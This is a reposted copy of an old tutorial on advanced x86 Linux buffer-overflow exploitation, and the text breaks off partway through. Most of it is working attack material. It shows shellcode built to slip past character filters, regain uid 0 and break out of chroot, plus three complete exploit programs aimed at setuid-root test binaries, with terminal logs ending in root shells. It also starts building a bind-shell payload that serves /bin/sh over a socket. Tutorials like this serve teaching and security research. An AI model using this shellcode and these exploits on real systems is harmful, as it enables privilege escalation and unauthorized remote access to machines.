分类: C/C++
2008-10-14 20:46:26
Advanced buffer overflow exploit Written by Taeho Oh ( ohhara@postech.edu ) ---------------------------------------------------------------------------- Taeho Oh ( ohhara@postech.edu ) ~ohhara PLUS ( Postech Laboratory for Unix Security ) plus PosLUG ( Postech Linux User Group ) group/poslug ---------------------------------------------------------------------------- 1. Introduction Nowadays there are many buffer overflow exploit codes. The early buffer overflow exploit codes only spawn a shell ( execute /bin/sh ). However, nowadays some of the buffer overflow exploit codes have very nice features. For example, passing through filtering, opening a socket, breaking chroot, and so on. This paper will attempt to explain the advanced buffer overflow exploit skill under intel x86 linux. 2. What do you have to know before reading? You have to know assembly language, C language, and Linux. Of course, you have to know what buffer overflow is. You can get the information of the buffer overflow in phrack 49-14 ( Smashing The Stack For Fun And Profit by Aleph1 ). It is a wonderful paper of buffer overflow and I highly recommend you to read that before reading this one. 3. Pass through filtering There are many programs which has buffer overflow problems. Why are not the all buffer overflow problems exploited? Because even if a program has a buffer overflow condition, it can be hard to exploit. In many cases, the reason is that the program filters some characters or converts characters into other characters. If the program filters all non printable characters, it's too hard to exploit. If the program filters some of characters, you can pass through the filter by making good buffer overflow exploit code. :) 3.1 The example vulnerable program vulnerable1.c ---------------------------------------------------------------------------- #include #include int main(int argc,int **argv) { char buffer[1024]; int i; if(argc>1) { for(i=0;i strcpy(buffer,argv[1]); } } ---------------------------------------------------------------------------- This vulnerable program converts small letters into capital letters of the user input. Therefore, you have to make a shellcode which doesn't contain any small letters. How can you do that? You have to reference the character string "/bin/sh" which must contain small letters. However, you can exploit this. :) 3.2 Modify the normal shellcode Almost all buffer overflow exploit code uses this shellcode. Now you have to remove all small letters in the shellcode. Of course, the new shellcode has to execute a shell. normal shellcode ---------------------------------------------------------------------------- char shellcode[]= "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------- This shellcode has 6 small letters. ( 5 small letters in the "/bin/sh" and 1 small letter in "movl %esi,0x8(%esi)" ) You cannot use "/bin/sh" character string directly to pass through the filter. However, you can insert any characters except for small characters. Therefore, you can insert "\x2f\x12\x19\x1e\x2f\x23\x18" instead of "\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" ). After you overflow the buffer , you have to change "\x2f\x12\x19\x1e\x2f\x23\x18" into "\x2f\x62\x69\x6e\x2f\x73\x68" to execute "/bin/sh". You can change easily by adding \x50 to \x62, \x69, \x6e, \x73, and \x68 when your shellcode is executed. Then how can you hide \x76 in "movl %esi,0x8(%esi)" ? You can change "movl %esi,0x8(%esi)" into other instructions that do the equivalent instruction and do not contain any small letters. For example, "movl %esi,0x8(%esi)" can be changed into "movl %esi,%eax", "addl $0x8,%eax", "movl %eax,0x8(%esi)". The changed instructions have any small letters. ( I think other good instructions to do same thing. It's just an example. ) Now the new shellcode is made. new shellcode ---------------------------------------------------------------------------- char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */ ---------------------------------------------------------------------------- 3.3 Exploit vulnerable1 program With this shellcode, you can make an exploit code easily. exploit1.c ---------------------------------------------------------------------------- #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); execl("./vulnerable1","vulnerable1",buff,0); } ---------------------------------------------------------------------------- exploit the vulnerable1 program ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable1 -rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1* [ ohhara@ohhara ~ ] {2} $ ls -l exploit1 -rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1* [ ohhara@ohhara ~ ] {3} $ ./exploit1 Jump to 0xbfffec64 Segmentation fault [ ohhara@ohhara ~ ] {4} $ ./exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# ---------------------------------------------------------------------------- 3.4 What can you do with this technique? You can pass through various form filters with this technique. When the vulnerable program filter !@#$%^&*(), you can make the new shellcode which doesn't contain !@#$%^&*(). However, you will have difficulties in making a shellcode, if the program filters many characters. 4 Change uid back to 0 The setuid root program which knows that work with root permission is very dangerous calls seteuid(getuid()) at start. And it calls seteuid(0) when it is needed. Many programmer thinks that it's safe after calling seteuid(getuid()). However, it's not true. The uid can be back to 0. 4.1 The example vulnerable program vulnerable2.c ---------------------------------------------------------------------------- #include #include int main(int argc,char **argv) { char buffer[1024]; seteuid(getuid()); if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- This vulnerable program calls seteuid(getuid()) at start. Therefore, you may think that "strcpy(buffer,argv[1]);" is OK. Because you can only get your own shell although you succeed in buffer overflow attack. However, if you insert a code which calls setuid(0) in the shellcode, you can get root shell. :) 4.2 Make setuid(0) code setuidasm.c ---------------------------------------------------------------------------- main() { setuid(0); } ---------------------------------------------------------------------------- compile and disassemble ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c [ ohhara@ohhara ~ ] {2} $ gdb setuidasm GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble setuid Dump of assembler code for function __setuid: 0x804ca00 <__setuid>: movl %ebx,%edx 0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx 0x804ca06 <__setuid+6>: movl $0x17,%eax 0x804ca0b <__setuid+11>: int $0x80 0x804ca0d <__setuid+13>: movl %edx,%ebx 0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax 0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error> 0x804ca1a <__setuid+26>: ret 0x804ca1b <__setuid+27>: nop 0x804ca1c <__setuid+28>: nop 0x804ca1d <__setuid+29>: nop 0x804ca1e <__setuid+30>: nop 0x804ca1f <__setuid+31>: nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- setuid(0); code ---------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 4.3 Modify the normal shellcode Making new shellcode is very easy if you make setuid(0) code. Just insert the code into the start of the normal shellcode. new shellcode ---------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------- 4.4 Exploit vulnerable2 program With this shellcode, you can make an exploit code easily. exploit2.c ---------------------------------------------------------------------------- #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); execl("./vulnerable2","vulnerable2",buff,0); } ---------------------------------------------------------------------------- exploit the vulnerable2 program ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable2 -rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2* [ ohhara@ohhara ~ ] {2} $ ls -l exploit2 -rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2* [ ohhara@ohhara ~ ] {3} $ ./exploit2 Jump to 0xbfffec64 Illegal instruction [ ohhara@ohhara ~ ] {4} $ ./exploit2 500 Jump to 0xbfffea70 bash# whoami root bash# ---------------------------------------------------------------------------- 4.5 What can you do with this technique? You attack a setuid root program with buffer overflow but you only get your own shell. You can use this technique in that situation. 5 Break chroot If the setuid root program is chrooted, you can access only chrooted directory. You cannot access root directory. However, you can access all directories, if your shellcode change the root directory into "/" again. :) 5.1 The example vulnerable program vulnerable3.c ---------------------------------------------------------------------------- #include #include int main(int argc,char **argv) { char buffer[1024]; chroot("/home/ftp"); chdir("/"); if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- If you tries to execute "/bin/sh" with buffer overflow, it may executes "/home/ftp/bin/sh" ( if it exists ) and you cannot access the other directories except for "/home/ftp". 5.2 Make break chroot code If you can execute below code, you can break chroot. breakchrootasm.c ---------------------------------------------------------------------------- main() { mkdir("sh",0755); chroot("sh"); /* many "../" */ chroot("../../../../../../../../../../../../../../../../"); } ---------------------------------------------------------------------------- This break chroot code makes "sh" directory, because it's easy to reference. ( it's also used to execute "/bin/sh" ) compile and disassemble ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c [ ohhara@ohhara ~ ] {2} $ gdb breakchrootasm GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble mkdir Dump of assembler code for function __mkdir: 0x804cac0 <__mkdir>: movl %ebx,%edx 0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx 0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx 0x804caca <__mkdir+10>: movl $0x27,%eax 0x804cacf <__mkdir+15>: int $0x80 0x804cad1 <__mkdir+17>: movl %edx,%ebx 0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax 0x804cad8 <__mkdir+24>: jae 0x804cc40 <__syscall_error> 0x804cade <__mkdir+30>: ret 0x804cadf <__mkdir+31>: nop End of assembler dump. (gdb) disassemble chroot Dump of assembler code for function chroot: 0x804cb60 0x804cb62 0x804cb66 0x804cb6b 0x804cb6d 0x804cb6f 0x804cb74 0x804cb7a 0x804cb7b 0x804cb7c 0x804cb7d 0x804cb7e 0x804cb7f End of assembler dump. (gdb) ---------------------------------------------------------------------------- mkdir("sh",0755); code ---------------------------------------------------------------------------- /* mkdir first argument is %ebx and second argument is */ /* %ecx. */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x17" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ /* %esi has to reference "/bin/sh" before using this */ /* instruction. This instruction load address of "sh" */ /* and store at %ebx */ "\xfe\xc5" /* incb %ch */ /* %cx = 0000 0001 0000 0000 */ "\xb0\x3d" /* movb $0xed,%cl */ /* %cx = 0000 0001 1110 1101 */ /* %cx = 000 111 101 101 */ /* %cx = 0 7 5 5 */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- chroot("sh"); code ---------------------------------------------------------------------------- /* chroot first argument is ebx */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- chroot("../../../../../../../../../../../../../../../../"); code ---------------------------------------------------------------------------- char code[]= "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ /* disguised "../" character string */ "\xf7\xdb" /* negl %ebx */ /* %ebx = $0x002f2e2e */ /* intel x86 is little endian. */ /* %ebx = "../" */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ /* prepare for looping 16 times. */ "\x56" /* pushl %esi */ /* backup current %esi. %esi has the pointer of */ /* "/bin/sh". */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl $0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ /* make "../../../../ . . . " character string at */ /* 0x10(%esi) by looping. */ "\x5e" /* popl %esi */ /* restore %esi. */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ /* %ebx has the address of "../../../../ . . . ". */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 5.3 Modify the normal shellcode Making new shellcode is very easy if you make break chroot code. Just insert the code into the start of the normal shellcode and modify jmp and call argument. new shellcode ---------------------------------------------------------------------------- char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------- 5.4 Exploit vulnerable3 program With this shellcode, you can make an exploit code easily. exploit3.c ---------------------------------------------------------------------------- #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); execl("./vulnerable3","vulnerable3",buff,0); } ---------------------------------------------------------------------------- exploit the vulnerable3 program ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable3 -rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3* [ ohhara@ohhara ~ ] {2} $ ls -l exploit3 -rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3* [ ohhara@ohhara ~ ] {3} $ ./exploit3 Jump to 0xbfffec68 Segmentation fault [ ohhara@ohhara ~ ] {4} $ ./exploit3 500 Jump to 0xbfffea74 Segmentation fault [ ohhara@ohhara ~ ] {5} $ ./exploit3 -500 Jump to 0xbfffee5c bash# whoami root bash# pwd /home/ftp bash# cd / bash# pwd / bash# ls afs boot etc home lost+found mnt root tmp var bin dev export lib misc proc sbin usr bash# ---------------------------------------------------------------------------- 5.5 What can you do with this technique? You cannot access root directory by attacking a chrooted setuid program with buffer overflow. However, you can access all directories with this technique. 6 Open socket You can see the daemon crash if you try to overflow the buffer in a daemon. In many cases, you have to execute a shell, open a socket, and connect to your standard I/O. If you don't, you cannot get a shell. Even if you get a shell, the server crashes immediately, so you can't command anything. In this case, you have to make complex shellcode to connect to your standard I/O. 6.1 The example vulnerable program ---------------------------------------------------------------------------- #include int main(int argc,char **argv) { char buffer[1024]; if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- This is standard vulnerable program. I will use this for socket opening buffer overflow. Because I am too lazy to make a example daemon program. :) However, after you see the code, you will not be disappointed. 6.2 Make open socket code If you can execute below code, you can open a socket. opensocketasm1.c ---------------------------------------------------------------------------- #include #include #include int soc,cli,soc_len; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; int main() { if(fork()==0) { serv_addr.sin_family=AF_INET; serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); serv_addr.sin_port=htons(30464); soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); listen(soc,1); soc_len=sizeof(cli_addr); cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ---------------------------------------------------------------------------- It's difficult to make with assembly language. You can make this program simple. opensocketasm2.c ---------------------------------------------------------------------------- #include #include #include int soc,cli; struct sockaddr_in serv_addr; int main() { if(fork()==0) { serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=0x77; soc=socket(2,1,6); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ---------------------------------------------------------------------------- compile and disassemble ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c [ ohhara@ohhara ~ ] {2} $ gdb opensocketasm2 GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 0x804ca95 0x804ca97 0x804ca9c 0x804caa2 0x804caa3 0x804caa4 0x804caa5 0x804caa6 0x804caa7 0x804caa8 0x804caa9 0x804caaa 0x804caab 0x804caac 0x804caad 0x804caae 0x804caaf End of assembler dump. (gdb) disassemble socket Dump of assembler code for function socket: 0x804cda0 0x804cda2 0x804cda7 0x804cdac 0x804cdb0 0x804cdb2 0x804cdb4 0x804cdb7 0x804cdbd 0x804cdbe 0x804cdbf End of assembler dump. (gdb) disassemble bind Dump of assembler code for function bind: 0x804cd60 0x804cd62 0x804cd67 0x804cd6c 0x804cd70 0x804cd72 0x804cd74 0x804cd77 0x804cd7d 0x804cd7e 0x804cd7f End of assembler dump. (gdb) disassemble listen Dump of assembler code for function listen: 0x804cd80 0x804cd82 0x804cd87 0x804cd8c 0x804cd90 0x804cd92 0x804cd94 0x804cd97 0x804cd9d 0x804cd9e 0x804cd9f End of assembler dump. (gdb) disassemble accept Dump of assembler code for function __accept: 0x804cd40 <__accept>: movl %ebx,%edx 0x804cd42 <__accept+2>: movl $0x66,%eax 0x804cd47 <__accept+7>: movl $0x5,%ebx 0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx 0x804cd50 <__accept+16>: int $0x80 0x804cd52 <__accept+18>: movl %edx,%ebx 0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax 0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error> 0x804cd5d <__accept+29>: ret 0x804cd5e <__accept+30>: nop 0x804cd5f <__accept+31>: nop End of assembler dump. (gdb) disassemble dup2 Dump of assembler code for function dup2: 0x804cbe0 0x804cbe2 0x804cbe6 0x804cbea 0x804cbef 0x804cbf1 0x804cbf3 0x804cbf8 0x804cbfe 0x804cbff End of assembler dump. (gdb) ---------------------------------------------------------------------------- fork(); code ---------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- socket(2,1,6); code ---------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ /* The first argument. */ /* %esi has reference free memory space before using */ /* this instruction. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* The second argument. */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* The third argument. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- bind(soc,(struct sockaddr *)&serv_addr,0x10); code ---------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax has to have soc value before using this */ /* instruction. */ /* the first argument. */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ /* serv_addr.sin_family=2 */ 